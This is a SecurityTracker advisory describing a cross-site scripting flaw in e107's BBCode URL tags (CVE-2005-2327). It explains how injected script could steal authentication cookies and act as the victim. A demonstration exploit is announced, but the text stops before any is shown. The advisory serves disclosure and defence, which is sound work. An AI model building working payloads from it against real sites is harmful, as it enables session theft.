e107 Input Validation Flaw in BBCode URL Tags Lets Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1014513
SecurityTracker URL:  http://securitytracker.com/id/1014513
CVE Reference:   CVE-2005-2327   (Links to External Site)
Updated:  Jul 6 2008
Original Entry Date:  Jul 18 2005
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 0.617 and prior versions
Description:   An input validation vulnerability was reported in e107. A remote user can conduct cross-site scripting attacks.

The software does not properly filter HTML code from BBCode URL tags. A remote user can submit specially crafted input that, when viewed by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the e107 software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit from str0ke is provided:
